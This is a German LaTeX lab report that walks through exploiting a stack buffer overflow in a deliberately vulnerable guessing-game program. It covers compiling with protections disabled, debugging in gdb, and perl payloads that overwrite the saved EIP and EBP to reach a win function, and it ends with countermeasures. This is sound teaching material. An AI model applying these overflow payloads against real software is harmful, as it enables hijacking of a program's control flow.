202 lines
7.8 KiB
TeX
202 lines
7.8 KiB
TeX
\section{Part 1: Buffer Overflow}
|
|
|
|
\subsection{Kompilieren}
|
|
|
|
Zum kompilieren des C-Programmes wird GCC verwendet. Folgender Befehl wird ausgeführt:
|
|
|
|
\begin{lstlisting}[breaklines]
|
|
gcc -g --no-pie -z execstack -fno-stack-protector -D_FORTIFY_SOURCE=0 bufferOverflow.c -o bufferOverflow
|
|
\end{lstlisting}
|
|
|
|
Danach kann das Programm mit \verb|./bufferOverlow| gestartet werden.
|
|
|
|
\subsection{Hints}
|
|
|
|
Es wurden verschlüsselte Tipps beigesteuert. Zum verschlüsseln wurde folgender Befehl ausgeführt:
|
|
|
|
\begin{lstlisting}[breaklines]
|
|
echo "This is your first hint" | openssl des -nosalt -e -k 12345678 -a
|
|
\end{lstlisting}
|
|
|
|
Zum entschlüsseln muss lediglich der verschlüsselte String mit dem angegebenen secret an openssl übergeben werden.
|
|
|
|
\begin{lstlisting}[breaklines]
|
|
echo "ilEbsYAeS8Prp7xXI5MPqSEyOOKoyXbCotRFSskidgs=" | openssl des -nosalt -d -k 12345678 -a
|
|
\end{lstlisting}
|
|
|
|
Leider konnten die angegebenen Tipps nicht entschlüsselt werden. Das obige Beispiel funktioniert ohne Probleme, kann aber nicht auf die in der PDF angegebenen Tipps angewandt werden.
|
|
|
|
Fehlermeldung:
|
|
\begin{verbatim}
|
|
bad decrypt
|
|
\end{verbatim}
|
|
|
|
\subsection{Analyse}
|
|
|
|
Das Programm \verb|bufferOverflow.c| beginnt mit der Eingabe des Namens mit Hilfe der Funktion \verb|fgets|\footnote{\href{https://www.tutorialspoint.com/c_standard_library/c_function_fgets.htm}{tutorialspoint - fgets}}. Dabei wird die Länge des eingegebenen Benutzernamens in einem char Array der Länge 16 gespeichert. Ein Buffer Overflow wird hier abgefangen, da nur so viele Zeichen eingegeben werden können, wie \verb|sizeof(username)| zurück gibt.
|
|
|
|
Dann werden nacheinander die geratenen Zahlen eingelesen. Man muss alle 3 Zahlen richtig raten, damit man das Spiel gewinnt. Es werden mit \verb|rand()| zufällige Zahlen generiert.
|
|
|
|
Die anschließende Funktion
|
|
|
|
\verb|calculate(argv[1], input1, input2, input3, number1, number2, number3)|
|
|
|
|
gibt eine 0 zurück wenn man gewonnen hat.
|
|
|
|
Aber in der Funktion kann ein Buffer Overflow stattfinden, da \verb|argv[1]| mit \verb|strcpy()| ohne Begrenzung in ein limitiertes 16 Byte großes char array kopiert wird. Dabei werden im Stack Werte überschrieben. Genau dort kann der Angriff stattfinden.
|
|
|
|
\subsection{Versuchen zu gewinnen}
|
|
|
|
Hinweis: \verb|"A" ASCII| wird als \verb|0x41| geschrieben.
|
|
|
|
Das kompilierte Programm mit \verb|gdb bufferOverflow| starten. Einen Breakpoint in der Calculate-Funktion bei Zeile 24 mit \verb|b 24| setzen. Dann mit
|
|
|
|
\verb|r $(perl -e 'print "A"*20;')|
|
|
|
|
20x das ASCII Zeichen ``A'' als Argument mitgeben.
|
|
|
|
Getätigte Eingaben im Programm:
|
|
|
|
Username: \verb|Florian|, Input1: \verb|1|, Input2: \verb|1|, Input3: \verb|1|
|
|
|
|
\begin{figure}[H]
|
|
\begin{center}
|
|
\includegraphics[width=0.8\textwidth]{bufferOverflow/01-input}
|
|
\caption{Erste Eingabe}
|
|
\label{fig:Erste Eingabe}
|
|
\end{center}
|
|
\end{figure}
|
|
|
|
\begin{figure}[H]
|
|
\begin{center}
|
|
\includegraphics[width=0.9\textwidth]{bufferOverflow/02-breakpoint}
|
|
\caption{Breakpoint}
|
|
\label{fig:Breakpoint}
|
|
\end{center}
|
|
\end{figure}
|
|
|
|
\newpage
|
|
|
|
Die analyse des Stackpointers sieht folgendermaßen aus:
|
|
|
|
\begin{figure}[H]
|
|
\begin{center}
|
|
\includegraphics[width=0.8\textwidth]{bufferOverflow/03-stackpointer}
|
|
\caption{Erster Stackpointer}
|
|
\label{fig:Erster Stackpointer}
|
|
\end{center}
|
|
\end{figure}
|
|
|
|
Wie zu sehen ist, wurden die wichtigen Pointer noch nicht erreicht. Es ist aber zu erkennen, dass die geratenen 20xA direkt davor ankommen. Somit könnte man mit 28xA und der Adresse der Win-Funktion, den Ablauf der Funktion ändern.
|
|
|
|
Speicheraddresse der Win-Funktion mit \verb"objdump -d ./bufferOverflow | grep win" herausfinden. Grep gibt 2 Zeilen aus. Einmal die Funktion selber und die Position in \verb|main()| in der Sie aufgerufen wird.
|
|
|
|
\begin{verbatim}
|
|
080485a4 <win>
|
|
8048807: call 80485a4 <win>
|
|
\end{verbatim}
|
|
|
|
Es wird in der \verb|gdb bufferOverflow| Kommandozeile folgender Befehl ausführt:
|
|
|
|
\verb|r $(perl -e 'print "A"*28+"\x07\x88\x04\x08";')|
|
|
|
|
Damit werden 28x'A' und die Adresse der Win-Funktion als argument der Software mitgegeben.
|
|
|
|
\begin{figure}[H]
|
|
\begin{center}
|
|
\includegraphics[width=0.8\textwidth]{bufferOverflow/04-newrun}
|
|
\caption{Zweite Eingabe}
|
|
\label{fig:Zweite Eingabe}
|
|
\end{center}
|
|
\end{figure}
|
|
|
|
\begin{figure}[H]
|
|
\begin{center}
|
|
\includegraphics[width=0.8\textwidth]{bufferOverflow/05-stackpointer}
|
|
\caption{Zweiter Stackpointer}
|
|
\label{fig:Zweiter Stackpointer}
|
|
\end{center}
|
|
\end{figure}
|
|
|
|
Die erneute Ausgabe der wichtigen Adressen zeigt uns nun, dass der EIP mit \verb|\x41\x41\x41\x41| überschrieben wurde (Abbildung \ref{fig:Zweiter Stackpointer}) und deshalb korrekt gesetzt werden sollte. Deswegen endet das weitere Ausführen, nach einer erfolgreichen Runde in einem segmentation fault (Abbildung \ref{fig:Segmentation Fault}).
|
|
|
|
\begin{figure}[H]
|
|
\begin{center}
|
|
\includegraphics[width=0.8\textwidth]{bufferOverflow/06-segmentation}
|
|
\caption{Segmentation Fault}
|
|
\label{fig:Segmentation Fault}
|
|
\end{center}
|
|
\end{figure}
|
|
|
|
Dazu kann einfach die normal gesetzte Speicheradresse genutzt werden. Diese lautete wie in Abbildung \ref{fig:Erster Stackpointer} zu sehen \verb|0xbffff2f8| welches in \verb|\xe8\xf2\xff\xbf| umgewandelt wird.
|
|
|
|
Damit wird das Programm noch einmal gestartet:
|
|
|
|
\verb|r $(perl -e 'print "A"*24+"\xe8\xf2\xff\xbf\x07\x88\x04\x08";')|
|
|
|
|
Und es wird 5 mal in Folge gewonnen:
|
|
|
|
\begin{figure}[H]
|
|
\begin{center}
|
|
\includegraphics[width=0.8\textwidth]{bufferOverflow/07-win-1}
|
|
\caption{Gewinn - Teil 1}
|
|
\label{fig:Gewinn - Teil 1}
|
|
\end{center}
|
|
\end{figure}
|
|
|
|
\begin{figure}[H]
|
|
\begin{center}
|
|
\includegraphics[width=0.8\textwidth]{bufferOverflow/08-win-2}
|
|
\caption{Gewinn - Teil 2}
|
|
\label{fig:Gewinn - Teil 2}
|
|
\end{center}
|
|
\end{figure}
|
|
|
|
\subsection{Stack}
|
|
|
|
\textcolor{codegray}{Startaddresse} \textcolor{codegreen}{Eingefügte ``A''s} \textcolor{codepurple}{EBP} \textcolor{weborange}{Win-Funktion}
|
|
|
|
\begin{center}
|
|
\begin{tabular}{|l|l||r|}
|
|
\hline
|
|
\multicolumn{2}{|c||}{\textbf{Beschreibung}} & \multicolumn{1}{c|}{\textbf{Inhalt}} \\
|
|
\hline
|
|
Memory Addresse & Name & at Zeile 24 \\
|
|
\hline
|
|
\verb|0xbffff2ec| & old EIP & \\
|
|
\color{codepurple}\verb|0xbffff2e8| & old EBP & \\
|
|
\hline
|
|
\multicolumn{3}{|c|}{...} \\
|
|
\hline
|
|
\verb|0xbffff3d8| & number3 & \verb|0x00000003| \\
|
|
\verb|0xbffff3d4| & number2 & \verb|0x00000003| \\
|
|
\verb|0xbffff2d0| & number1 & \verb|0x00000001| \\
|
|
\verb|0xbffff2ac| & Input3 & \verb|0x00000001| \\
|
|
\verb|0xbffff2a8| & input2 & \verb|0x00000001| \\
|
|
\verb|0xbffff2a4| & input1 & \verb|0x00000001| \\
|
|
\hline
|
|
\multicolumn{3}{|c|}{...} \\
|
|
\hline
|
|
\verb|0xbffff29c| & EIP & \color{weborange}\verb|0x08048807| \\
|
|
\verb|0xbffff298| & EBP & \color{codepurple}\verb|0xbffff2e8| \\
|
|
\verb|0xbffff294| & & \color{codegreen}\verb|0x41414141| \\
|
|
\verb|0xbffff290| & & \color{codegreen}\verb|0x41414141| \\
|
|
\verb|0xbffff28c| & name & \color{codegreen}\verb|0x41414141| \\
|
|
\verb|0xbffff288| & name & \color{codegreen}\verb|0x41414141| \\
|
|
\verb|0xbffff284| & name & \color{codegreen}\verb|0x41414141| \\
|
|
\color{codegray}\verb|0xbffff280| & name & \color{codegreen}\verb|0x41414141| \\
|
|
\hline
|
|
\multicolumn{3}{|c|}{...} \\
|
|
\hline
|
|
\verb|0xbffff270| & ESP & \color{codegray}\verb|0xbffff280| \\
|
|
\hline
|
|
\end{tabular}
|
|
\end{center}
|
|
|
|
\subsection{Warum so gefährlich \& was getan werden muss}
|
|
|
|
Veränderung des Ablaufs der Software kann ewaige Authentifizierung und Validierung ausschalten und somit Zugriff auf Informationen erlangt werden.
|
|
|
|
Gegenmaßnahmen:
|
|
|
|
Um den Buffer Overflow zu verhindern, sollten Funktionen wie strcpy vermieden werden. Im Beispielprogramm wurde die Eingabe des Nutzers direkt an die Funktion als Pointer weitergegeben anstatt davor eine Validierung durchzuführen.
|